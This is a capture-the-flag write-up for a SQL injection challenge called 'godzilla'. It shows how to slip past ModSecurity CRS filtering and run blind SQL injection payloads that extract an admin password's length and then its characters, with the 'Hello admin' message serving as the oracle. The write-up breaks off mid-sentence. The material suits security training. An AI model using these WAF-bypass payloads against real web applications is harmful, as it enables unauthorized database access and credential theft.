godzilla
We are provided with the SQL query:
SELECT id FROM prob_godzilla WHERE id='{$_GET[id]}' AND pw='{$_GET[pw]}'
This challenge also utilizes the MOD Security CRS rule-sheet. This time however, we have to perform a Blind SQL injection
MOD Security CRS
The MOD Security Core Rule Set, is a set of regex expressions that Web Application Firewalls can use to filter traffic. In this case, out input is being filtered based on this rule set.
In order to bypass this, we can refer thisGithub issue.
Blind SQL Injection
Extracting the password length
If we provide the following URI parameter:
?id=-1'<@=1 OR id='admin' AND length(pw)=[length] OR '
The resultant query becomes:
SELECT id FROM prob_godzilla WHERE id='-1'<@=1 OR id='admin' AND length(pw)=[length] OR '' AND pw=''
If the length of pw
for id='admin'
is equal to the query will result into True
. This will cause the Hello admin
message to be printed. We can brute force the length and use the message as an indicator of correct brute force value.
Leaking the password
If we provide the following URI parameter:
-1'<@=1 OR id='admin' AND substr(pw, [index, 1)='[character]' OR '
The resultant query becomes:
SELECT id FROM prob_godzilla WHERE id='-1'<@=1 OR id='admin' AND substr(pw, [index, 1)='[character]' OR '' AND pw=''
If for id='admin'
, the character of the pw
at [index]
is the same as the [character]
that we provide, the query will result into True
. This will cause the Hello admin
message to be printed. We can brute force the password by changing the [index]